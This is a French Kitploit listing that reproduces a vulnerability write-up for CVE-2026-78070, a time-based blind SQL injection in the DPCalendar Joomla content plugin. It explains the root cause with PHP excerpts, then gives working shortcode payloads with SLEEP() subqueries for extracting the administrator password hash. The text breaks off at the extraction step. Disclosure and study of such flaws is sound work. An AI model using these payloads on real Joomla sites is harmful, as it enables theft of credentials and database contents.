Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-78070 — Injection SQL via le shortcode ORDER BY dans plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
Outils/GitHubGitHub/toanln-cov/cve-2026-78070
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité des Bases de Données
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

Injection SQL via le shortcode ORDER BY dans plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Voir le dépôt
32il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection SQL via Shortcode ORDER BY dans plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Un utilisateur de niveau Auteur extrait l'intégralité de la base de données via une injection aveugle basée sur le temps

CVE CVSS CWE-89 Affected Fixed Researcher


RÉSUMÉ

Le plugin de contenu plg_content_dpcalendar analyse les shortcodes {{#events order="..."}}{{/events}} intégrés dans le corps des articles Joomla. La valeur du paramètre order est transmise directement à EventsModel::setState('list.ordering', ...), contournant complètement la liste blanche de populateState() du modèle. La valeur est ensuite insérée dans une clause SQL ORDER BY protégée uniquement par DatabaseDriver::escape() — insuffisante contre l'injection par sous-requête.

Un utilisateur de niveau Auteur pouvant créer ou modifier des articles peut exploiter cette faille pour exfiltrer des données de la base de données via une injection SQL aveugle basée sur le temps. L'injection SQL se déclenche dans la requête d'enregistrement de l'article de l'attaquant lui-même — aucune interaction de victime, aucun article publié et aucune implication d'un administrateur requis.


VERSIONS AFFECTÉES

COMPOSANTVULNÉRABLETESTÉ SURCORRIGÉ
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Remarque : Cette vulnérabilité est distincte de CVE-2026-57831 (injection SQL non authentifiée dans EventsModel.php via filter_created_by, corrigée en v10.11.2). La présente découverte affecte le plugin de contenu (plg_content_dpcalendar) — un fichier différent, un paramètre différent, et n'était pas corrigée dans la dernière version au moment de la découverte.


DÉTAILS DE LA VULNÉRABILITÉ

Type : Injection SQL (CWE-89) — Aveugle basée sur le temps
Authentification requise : Rôle Auteur (peut créer/modifier des articles Joomla)
Point d'accès : POST /index.php/submit-article?view=form&layout=edit
Fichier : plg_content_dpcalendar/src/Extension/DPCalendar.php

Cause racine

L'analyseur de shortcodes du plugin itère sur toutes les paires clé-valeur d'une balise {{#events}} et définit l'état du modèle directement, contournant entièrement la validation de la liste blanche de populateState() :

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — GESTION VULNÉRABLE DES PARAMÈTRES

foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNÉRABLE : définit l'état d'ordonnancement directement depuis l'entrée utilisateur
            // contourne entièrement la liste blanche de populateState()
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

La valeur contaminée circule dans EventsModel::getListQuery() avec seulement un échappement des guillemets appliqué — insuffisant pour bloquer l'injection par sous-requête dans un contexte ORDER BY :

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUCTION DU ORDER BY

$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() échappe uniquement les guillemets — n'empêche PAS l'injection par sous-requête
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Une sous-requête telle que (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) traverse $db->escape() sans modification car elle ne contient aucun caractère de guillemet. Le SQL résultant devient :

ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

L'expression ORDER BY n'est évaluée que lorsque le jeu de résultats n'est pas vide — nécessitant au moins un événement DPCalendar futur publié, la condition standard pour toute installation DPCalendar active.

Comportement clé : L'injection SQL se déclenche dans la requête POST d'enregistrement/modification elle-même — le délai temporel est directement observable dans la réponse HTTP (redirection 303). L'attaquant mesure le temps de réponse de sa propre requête POST ; aucune consultation d'article, rechargement de page ou étape de publication n'est requis.


PREUVE DE CONCEPT

Prérequis :

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Compte de rôle Auteur (peut créer/modifier des articles)
  • Plugin plg_content_dpcalendar activé (par défaut lors de l'installation de DPCalendar)
  • Au moins 1 événement DPCalendar publié avec une start_date future
  • Un élément de menu frontal Soumettre un article créé par l'administrateur

Scénario : Injection SQL aveugle basée sur le temps → Extraction des identifiants administrateur

0. Pré-condition — au moins un événement DPCalendar publié avec une date de début future doit exister

Le plugin définit filter.state = 1 et list.start-date = NOW() avant de construire la requête. Les sous-requêtes ORDER BY ne s'exécutent que lorsque le jeu de résultats contient des lignes ; si 0 ligne correspond, SLEEP() n'est jamais appelé.

1. Connexion en tant qu'utilisateur de rôle Auteur

Authentifiez-vous sur le frontend Joomla avec un compte Auteur. Aucun accès administrateur n'est requis à aucun moment de cette attaque.

2. Soumettre un article avec une charge utile à condition VRAIE — observer un délai de 5 secondes

Naviguez vers le formulaire frontal de soumission d'article (/submit-article). Insérez la charge utile suivante dans le corps de l'article et cliquez sur Enregistrer :

{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

La réponse POST elle-même est retardée d'environ 5 secondes. onContentPrepare se déclenche pendant le pipeline d'enregistrement de Joomla, invoquant la requête vulnérable avant que la redirection 303 ne soit émise. Aucune consultation d'article ni publication n'est nécessaire.

3. Condition FAUSSE confirmant une différenciation temporelle fiable

Remplacez 1=1 par 1=2 (toujours faux). SLEEP n'est pas déclenché et la réponse revient immédiatement (~100 ms), confirmant une séparation temporelle fiable.

{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Extraction du hash du mot de passe administrateur — octet par octet

Utilisez des comparaisons ASCII(SUBSTRING(...)) pour lire chaque caractère. Les guillemets simples doivent être évités (l'expression régulière du shortcode [^"\']* s'arrête à tout caractère de guillemet) ; utilisez plutôt des valeurs ASCII décimales :

Télécharger l’outil